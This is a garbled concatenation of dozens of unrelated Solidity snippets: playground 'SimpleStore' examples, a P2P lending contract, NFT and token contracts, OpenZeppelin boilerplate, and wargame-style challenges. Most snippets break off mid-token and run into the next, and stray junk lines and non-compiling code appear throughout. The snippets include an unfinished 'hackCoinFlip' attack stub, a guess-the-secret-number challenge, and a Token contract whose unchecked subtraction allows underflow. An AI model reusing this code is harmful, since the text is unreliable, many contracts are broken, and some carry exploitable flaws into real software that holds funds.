//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract L {
bytes public letters = 'abcdefghijklmnopqrstuvwxyz';
function getIdx(uint x) private view returns (bytes32 bytedLetter) {
return letters[x];
}
function bytes32ToString(bytes32 _bytes32) private pure returns (string memory) {
uint8 i = 0;
while(i < 32 && _bytes32[i] != 0) {
i++;
}
bytes memory bytesArray = new bytes(i);
for (i = 0; i < 32 && _bytes32[i] != 0; i++) {
bytesArray[i] = _bytes32[i];
}
return string(bytesArray);
}
function getChar(uint x) public view returns (string memory letter) {
return bytes32ToString(getIdx(x));
}
contract hackCoinFlip {
CoinFlip public originalContract = CoinFlip(0x473985426435A9A348488F926b51daa556B7383B);
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function hackFlip(bool _guess) public {
//TODO
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Test {
struct Person {
string name;
uint[3] numbers;
}
Person[] public persons;
function test () public {
Person memory x;
x.name = "Asd";
x.numbers = [uint(1),2,3];
persons.push(x);
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
function hexStringArray(String s){
}
uint value;
//
// GuessToWin.solpp
//
// Simple contract allowing anyone to guess secret passwords. If they guess any right, they
// will be awarded an amount of Vite based on the amount funded to the contract.
//
// Contract initially has no rewards balances stored. Any user can create rewards for a guess
// by calling the Fund function and providing the appropriate hash of the secret guess they
// would like to award, along with a patment of the amount of Vite they want to fund the award with.
//
// The hash of the guesses can be generated via the shell command:
// echo -n YOURSECRETPASSWORD | b2sum -l 256
//
// Guesses are submitted by sending a string of the guess to the Guess function. Correct
// guessers are awarded the entire fund for that hash/guess pair
//
// Warning: If you send funds with a hash value of an unknown string, those funds will be
// permanently locked in the contract! Also be warned that all guesses/hashes are logged
// into the ledger, so testing a particular hash/guess combination permanently re//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity >=0.8.0 <0.9.0;
import "./libraries/SafeMath.sol";
library Utils {
function adjustAmountForDecimals(uint currentDecimals, uint targetDecimals, uint amount) internal pure returns(uint256)
{
uint diffDecimals = currentDecimals - targetDecimals;
if(currentDecimals > targetDecimals) {
amount = amount.div( (uint(10)**diffDecimals) );
}
else if(currentDecimals < targetDecimals) {
amount = amount.mul( (uint(10)**diffDecimals) );
}
return amount;
}
pragma solidity >=0.8.0 <0.9.0;
import "./libraries/SafeMath.sol";
library Utils {
function adjustForAmountDecimals(uint currentDecimals, uint targetDecimals, uint amount) internal pure returns(uint256)
{
uint diffDecimals = currentDecimals - targetDecimals;
if(currentDecimals > targetDecimals) {
amount = amount.div( (uint(10)**diffDecimals) );
}
else if(currentDecimals < targetDecimals) {
amount = amount.mul( (uint(10)**diffDecimals) );
}
return amount;
}
pragma solidity >=0.8.0 <0.9.0;
import "./libraries/SafeMath.sol";
library Utils {
function adjustForDecimals(uint currentDecimals, uint targetDecimals, uint amount) internal pure returns(uint256)
{
uint diffDecimals = currentDecimals - targetDecimals;
if(currentDecimals > targetDecimals) {
amount = amount.div( (uint(10)**diffDecimals) );
}
else if(currentDecimals < targetDecimals) {
amount = amount.mul( (uint(10)**diffDecimals) );
}
return amount;
}
pragma solidity ^0.7.1;
pragma experimental ABIEncoderV2;
contract Bio {
string public name = "Bio";
address public owner;
struct UsernameReservation{
string username;
uint256 count;
bool exists;
}
mapping (string => UsernameReservation) usernameCount;
struct Username {
string username;
uint256 issue;
}
mapping (address => Username[]) walletUsernames;
mapping (string => address) usernameOwnership;
struct UserBio {
string description;
string twitterUsername;
string location;
}
mapping (string => UserBio) bios;
constructor() {
owner = msg.sender;
}
/**
START Helpers
*/
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len;
while (_i != 0) {
k = k-1;
uint8 temp = (48 + uint8(//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set( _value) public {
value = _value;
}
function get() public constant returns () {
return value;
}
value;
pragma solidity ^0.4.21;
contract GuessTheSecretNumberChallenge {
bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
function GuessTheSecretNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
if (keccak256(n) == answerHash) {
msg.sender.transfer(2 ether);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
contract Vault {
address admin;
address factory;
/********* CONSTRUCTOR *********/
/**
Constructor to assign the admin address
**/
constructor() {
admin = msg.sender;
}
/********* MODIFIERS *********/
/**
Only the admin is given the access
**/
modifier onlyAdmin(){
require(msg.sender == admin,"only Admin has the access");
_;
}
/**
Only the factory contract is given the access
**/
modifier onlyFactory(){
require(msg.sender == factory,"only Factory Contract has the access");
_;
}
/********* MAPPING *********/
/**
IP address of a sensor is recorded corresponding to its address
**/
mapping( address => string ) SensorDetails;
/********* FUNCTIONS *********/
/**
Set the factory address by the admin
**/
function setFactory(address _factory) //Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.8.0 <0.9.0;
/// @title Parking ticket contract.
contract ParkingTicket {
string licenseplate;
uint balance;
uint public created;
address payable propertyowner;
// Events
event Paidfully(address from, address to, uint amount);
// Errors
error OverPaid(address payer, uint available);
constructor(
uint price,
string memory _licenseplate,
address payable _propertyowner
) {
balance = price;
licenseplate = _licenseplate;
created = block.timestamp;
propertyowner = _propertyowner;
}
function payoff(address sender, uint amount) public {
if(amount > balance){
revert OverPaid({
payer: sender,
available: balance
});
}
balance -= amount;
if(balance == 0) {
emit Paidfully( sender, propertyowner, amount);
}
}
/**
*Submitted for verification at Etherscan.io on 2021-09-01
*/
// SPDX-License-Identifier: Unlicense
/*
Synthetic Loot
This contract creates a "virtual NFT" of Loot based
on a given wallet address.
Because the wallet address is used as the deterministic
seed, there can only be one Loot bag per wallet.
Because it's not a real NFT, there is no
minting, transferability, etc.
Creators building on top of Loot can choose to recognize
Synthetic Loot as a way to allow a wider range of
adventurers to participate in the ecosystem, while
still being able to differentiate between
"original" Loot and Synthetic Loot.
Anyone with an Ethereum wallet has Synthetic Loot.
-----
Also optionally returns data in LootComponents format:
Call weaponComponents(), chestComponents(), etc. to get
an array of attributes that correspond to the item.
The return format is:
uint256[5] =>
[0] = It//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity ^0.7.0;
contract SimpleStore {
struct VaultRegistry {
IERC20[] tokens;
uint block;
uint256 index;
}
mapping (address => VaultRegistry) private _vaultInfo;
address[] private _vaultIndex;
function getVaultsForToken(IERC20 _token) public view returns (address[] memory) {
uint256 curResults = 0;
uint256 numResults = 0;
for (uint256 vid = 0; vid < _vaultIndex.length; vid++) {
for (uint t = 0; t < _vaultInfo[_vaultIndex[vid]].tokens.length; t++) {
if (_vaultInfo[_vaultIndex[vid]].tokens[t] == _token) {
numResults++;
}
}
}
address[] memory vaultResults = new address[](numResults);
for (uint256 vid = 0; vid < _vaultIndex.length; vid++) {
for (uint t = 0; t < _vaultInfo[_vaultIndex[vid]].tokens.length; t++) {
if (_vaultInfo[_vaultIndex[vid]].tokens[t] == _token) {
vaultResults[curRes//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
function getAction(uint256 tokenId) public view returns (string memory) {
uint256 rand = random(string(toString(tokenId)));
if (rand % 21 == 0) {
return rareActions[rand % rareActions.length];
} else {
return actions[rand % actions.length];
}
}
function random(string memory input) internal pure returns (uint256) {
return uint256(keccak256(abi.encodePacked(input)));
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity 0.4.18;
contract MyContract{
Person[] public people;
struct Person{
string _firstname;
string _lastname;
}
function addPerson (string memory _firstname,string memory _lastname)public {
people.push(Person(_firstname , _lastname));
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract MintNFTX is Context {
NFTX public _nftxVault;
constructor(address _vaultAddress){
_nftxVault = NFTX(_vaultAddress);
}
function _buy(uint256 _tokenId) private {
//THIS FUNCTION SUCCESSFULLY PURCHASES THE NFT AND IT IS OWNED BY THIS CONTRACT
}
function _mintNFTX(uint256 _tokenId) private {
uint256[] memory nftIds = new uint256[](1);
nftIds[0] = _tokenId;
uint256[] memory amounts = new uint256[](1);
amounts[0] = 1;
console.log("Minting to vault");
_nftxVault.mint(nftIds, amounts);
console.log("Minting success");
}
function buyAndMint() public payable {
console.log("begin buyAndDeposit");
payable(this).transfer(msg.value);
console.log("Balance: %s gwei", address(this).balance);
//Hard code tokenId for now
uint256 tokenId = 72522;
//Buy from NFT contract
_//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity 0.4.23;
contract MyContract{
Person[] public people;
}
struct Person
{
string _firstname;
string _lastname;
}
function addPerson(string memorry _firstname,string memory _lastname) public{
people.push();
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity 0.4.23;
contract MyContract{
string value;
constructor() public{
value = "myValue";
}
function get()public view returns(string memory ){
return value;
}
function set(string memory _value) public{
value = _value;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.23;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity ^0.4.0;
contract P2Pcontract {
//Global Variables
Borrower[] borrowers; //An array that will hold all of our borrowers
uint totalNumBorrowers; //Keep track of the total number of borrowers we have
uint borrowerIdCounter; //Keep track of the borrowerIds --> increment everytime we add a new borrower
Investor[] investors; //An array that will hold all of our investors
uint totalNumInvestors; //Keep track of the total number of investors that we have
uint investorIdCounter; //Helps create the investorId so that we can keep track of them
//Mappings
mapping (uint => address) borrowerToOwner; //Lookup borrower address from their id
mapping(address => uint) BorrowerAddress2Id; //Lookup borrower id based on their address
mapping (address => Borrower) borrower; //take an address and get the Borrower struct
mapping (uint => address) investorToOwner; // take an id from our investors arrray and get the address of the investor
mapping (address => uint) InvestorAddress2Id; /pragma solidity ^0.4.0;
contract P2Pcontract {
//Global Variables
Borrower[] public borrowers; //An array that will hold all of our borrowers
uint totalNumBorrowers; //Keep track of the total number of borrowers we have
uint borrowerIdCounter; //Keep track of the borrowerIds --> increment everytime we add a new borrower
//Mappings
mapping (uint => address) public borrowerToOwner; //Lookup borrower address from their id
mapping(address => uint) public BorrowerAddress2Id; //Lookup borrower id based on their address
mapping (address => Borrower) public borrower; //take an address and get the Borrower struct
mapping(address => uint[]) public loansBorrowerHasCreated; //address to list of loan_ids the borrower has created
//Borrower Struct
struct Borrower {
address borrowerPublicKey;
string firstName;
string lastName;
uint accountBalance;
uint numLoans;
uint borrowerId;
bool EXISTS;
}
//Create a new borrower
function createBorrower(string mempragma solidity ^ 0.4.23;
contract Transfer {
uint public mainAccount;
uint public secondAccount;
constructor(uint a) public {
mainAccount = a;
}
function transfer(uint amount) public{
require(mainAccount > amount);
mainAccount -= amount;
secondAccount += amount;
}
function chargeMainAccount(uint amount) public {
mainAccount += amount;
}
}//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract MyERC777Reciever is IERC777Recipient {
mapping (address=>uint) public balances;
ERC777 my_erc777;
}
constructor (address my_erc777_address)
{
IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24).
setInterfaceImplementer(address(this),
keccak256("ERC777TokensRecipient"),
address(this)
);
my_erc777 = ERC777(my_erc777_address);
}
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) override external
{
// revert();
}
function deposit(uint amount) public
{
my_erc777.operatorSend(address(msg.sender), address(this), amount, "", "");
balances[msg.sender] += amount;
}
function retrieveTokens() public
{
my_erc777.operatorSend(address(this), address(msg.sender), balances[msg.sender], "", "function transfer(uint _amount, address _dest)
only_with_at_least(_amount) {
balances[msg.sender] -= _amount;
balances[_dest] += _amount;
modifier only_with_at_least(uint x) {
if (balances[msg.sender] >= x) _
function transfer(uint _amount, address _dest) {
if (balances[msg.sender] < _amount)
return;
balances[msg.sender] -= _amount;
balances[_dest] += _amount;
function transfer(uint _amount, address _dest) {
if (balances[msg.sender] >= _amount) {
balances[msg.sender] -= _amount;
balances[_dest] += _amount;
}
pragma solidity ^0.6.12;
contract Token {
// The balance of everyone
mapping (address => uint) public balances;
// Constructor - we're a millionaire!
construct Token() {
balances[msg.sender] = 1000000;
}
// Transfer `_amount` tokens of ours to `_dest`.
function transfer(uint _amount, address _dest) {
balances[msg.sender] -= _amount;
balances[_dest] += _amount;
}
pragma solidity ^0.6.12;
contract Token {
// The balance of everyone
mapping (address => uint) public balances;
// Constructor - we're a millionaire!
construct Token() {
balances[msg.sender] = 1000000;
}
// Transfer `_amount` tokens of ours to `_dest`.
function transfer(uint _amount, address _dest) {
balances[msg.sender] -= _amount;
balances[_dest] += _amount;
}
pragma ton-solidity >= 0.43.0;
pragma AbiHeader expire;
pragma AbiHeader time;
import "./interfaces/IJokes.sol";
contract Jokes is IJoke {
string[] public JokesVault;
// constructor() public {
// tvm.accept();
// }
function setJokes(string joke) public override {
JokesVault.push(joke);
}
function getJokes(uint256 index) public override returns (string) {
return JokesVault[index];
}
pragma solidity ^0.7.0;
contract Gastoken {
function free(uint256 value) public returns (bool success);
function freeUpTo(uint256 value) public returns (uint256 freed);
function freeFrom(address from, uint256 value) public returns (bool success);
function freeFromUpTo(address from, uint256 value) public returns (uint256 freed);
}
contract Example {
// This function consumes a lot of gas
function expensiveStuff() private pure {
/* lots of expensive stuff */
}
/*
* Frees `free' tokens from the Gastoken at address `gas_token'.
* The freed tokens belong to this Example contract. The gas refund can pay
* for up to half of the gas cost of the total transaction in which this
* call occurs.
*/
function burnGasAndFree(address gas_token, uint256 free) public {
require(Gastoken(gas_token).free(free));
expensiveStuff();
}
/*
* Frees `free' tokens from the Gastoken at address `gas_token'.
* The freed tokens belong function _amountAvailable(address from) internal view returns (uint256) {
vesting memory vested = _vesting[from];
uint256 totalBalance = _totalBalanceOf(from);
if (vested.amount > 0) {
// vesting applies
uint256 vestingIndex =
_vestingDays.findUpperBound(today() - vested.startDate);
if (vestingIndex < _vestingDays.length) {
// still in vesting phase
uint256 vestingBasisPoints = _vestingBasisPoints[vestingIndex];
uint256 maxAmountAvailable =
vested.amount.mul(vestingBasisPoints).div(
BASIS_POINT_DIVISOR
);
uint256 remainingVestedAmount =
vested.amount.sub(maxAmountAvailable);
return totalBalance.sub(remainingVestedAmount);
} else {
return totalBalance;
}
} else {
return totalBalance;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}sssisS
ADAHAODAS
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity ^0.5.0;
contract SolidityTest {
uint storedData;
constructor() public{
storedData = 10;
}
function getResult() public view returns(string memory){
uint a = 10;
uint b = 2;
uint result = a + b;
return integerToString(result);
}
function integerToString(uint _i) internal pure
returns (string memory) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (_i != 0) { // while loop
bstr[k--] = byte(uint8(48 + _i % 10));
_i /= 10;
}
return string(bstr);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract MillionDollarRat is ERC721Enumerable, Ownable, ReentrancyGuard {
using Strings for uint256;
// emitted by {depositGoldenRatToSewer} on success
event GoldenRatDeposited(address indexed owner, address indexed sewer);
// This is the provenance record of all artwork in existence
string public constant RATS_PROVENANCE = "60f27f7b882a5c8f31453d36f99fa1cc67b3c254934e4f327f66059599cf10e0";
// opens Apr 29 3pm EST | 1619722800
uint256 public constant SALE_START_TIMESTAMP = 1619722800;
// The sale lasts for 21 days
uint256 public constant REVEAL_TIMESTAMP = SALE_START_TIMESTAMP + 3 weeks;
// Sale price tiers
uint256 private constant TIER_1_PRICE = 500000000000000//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract SimpleStore {
struct Pool {
uint a;
uint b;
mapping(address => uint) c;
}
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
Pool memory p;
return p.a;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(string _value) public {
value = _value;
}
function get() public constant returns (string) {
return value;
}
string value;
pragma solidity ^0.4.18;
contract CP {
mapping (address => string) images;
function upload(string memory _imageUrl) public {
images[msg.sender] = _imageUrl;
}
function get() public constant returns (string) {
return images[msg.sender];
}
pragma solidity ^0.4.18;
contract CP {
mapping (address => string) images;
function upload(string memory _imageUrl) public {
images[msg.sender] = _imageUrl;
}
function get() public constant returns (string) {
return images[msg.sender];
}
pragma solidity ^0.4.18;
contract CP {
mapping (address => string) images;
function upload(string memory _imageUrl) public {
images[msg.sender] = _imageUrl;
}
function get() public constant returns (string) {
return images[msg.sender];
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
/**
*Submitted for verification at BscScan.com on 2021-07-19
*/
/**
*Submitted for verification at BscScan.com on 2021-07-04
*/
/**
*Submitted for verification at BscScan.com on 2021-06-29
*/
pragma solidity ^0.6.12;
// SPDX-License-Identifier: MIT
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by account.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves amount tokens from the caller's account to recipient.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that spender will be
* allowed to spend on behalf of owner through {transferFrom}. This is
* zero by default.
*
* This value changes when //Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract UkuliData {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.0;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module wapragma solidity ^0.7.0;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint public value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.8.0;
contract Example {
struct Weather {
bytes32 temp;
bytes32 desc;
}
Weather[] weatherArray;
mapping (bytes32 => uint256) requestToIdx;
function requestWeather(
bytes32 _jobId,
address _oracle
) public {
uint256 fee = 0.1 * 10 ** 18; // whatever the fee is??
Chainlink.Request memory requestOne = buildChainlinkRequest(_jobId, address(this), this.fulfillTemp.selector);
Chainlink.Request memory requestTwo = buildChainlinkRequest(_jobId, address(this), this.fulfillDesc.selector);
requestOne.add("get", "{{endpoint}}");
requestOne.add("copyPath", "PATH.TO.TEMP");
requestTwo.add("get", "{{endpoint}}");
requestTwo.add("copyPath", "PATH.TO.DESC");
requestIdOne = sendChainlinkRequestTo(_oracle, requestOne, fee);
requestIdTwo = sendChainlinkRequestTo(_oracle, requestTwo, fee);
Weather memory weather;
weatherArray.push(weather);
requesif(to != owner){
require(false, "Transfer From Failed");
} else {
_transfer(from, to, amount, deadline);
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contrac// File: contracts/libs/SafeMath.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: additi
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* the
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* the
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* the
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* the
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* the
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* the
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* the
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* the
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* the
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
